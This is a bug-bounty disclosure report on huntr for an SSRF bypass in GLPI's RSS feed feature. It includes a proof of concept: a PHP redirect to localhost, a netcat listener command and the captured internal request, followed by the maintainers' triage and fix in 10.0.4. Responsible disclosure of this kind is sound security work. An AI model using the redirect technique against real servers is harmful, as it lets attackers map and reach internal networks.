huntr

SSRF in feeds in glpi-project/glpi

1

✔ **Valid**   Reported on Oct 2nd 2022

Description

By looking at this URL : `https://github.com/glpi-project/glpi/security/advisories/GHSA-rqgx-gqhp-x8vv` , I understand that a SSRF was possible in the URL of the RSS feed, and in fact, this has been fix.
Howerver, I found a bypass to CVE-2022-36112.

Proof of Concept

To trigger the bug, setup a PHP server on a remote machine, and a file `index.php` containing this code :

```php
<?php
header("Location: http://localhost:4444");
?>
```

Then, on the server where glpi is running, put a listener on the port 4444.
On the RSS feed, put the URL "http://<your server>/index.php", and then hit enter.
You will see that, on port 4444, we receive this request :

```
user@vm:/var/www/glpi$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 59222
GET / HTTP/1.1
Host: localhost:4444
User-Agent: SimplePie/1.5.8 (Feed Parser; http://simplepie.org; Allow like
Accept-Encoding: deflate, gzip, br
Referer: http://localhost:4444/
Accept: application/atom+xml, application/rss+xml, applicat
```

Chat with us

◀   ▶

Impact

This vulnerability can be used by remote attacker to discover the internal network of the machine running glpi.

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
Low (3.5)

Registry
Other

Affected Version
10.0.3

Visibility
Public

Status
Fixed

Found by

w0rty
@w0rty
unranked ⌄

We are processing your report and will contact the **glpi-project/glpi** team within 24 hours.
2 months ago

We have contacted a member of the **glpi-project/glpi** team and are waiting to hear back
2 months ago

A **glpi-project/glpi** maintainer has acknowledged this report   2 months ago

Alexandre Delaunay modified the Severity from Medium (4.3) to Low (3.5)

Chat with us

Alexandre   2 months ago

https://github.com/glpi-project/glpi/security/advisories/GHSA-8vwg-7x42-7v6p

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

Alexandre Delaunay validated this vulnerability 2 months ago

w0rty has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the **glpi-project/glpi** team. We will try again in 7 days.
2 months ago

We have sent a second fix follow up to the **glpi-project/glpi** team. We will try again in 10 days.
a month ago

We have sent a third and final fix follow up to the **glpi-project/glpi** team. This report is now considered stale. a month ago

Cédric Anne marked this as fixed in **10.0.4** with commit **8bd844** 23 days ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Cédric Anne published this vulnerability 23 days ago

Sign in to join this conversation

Chat with us

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us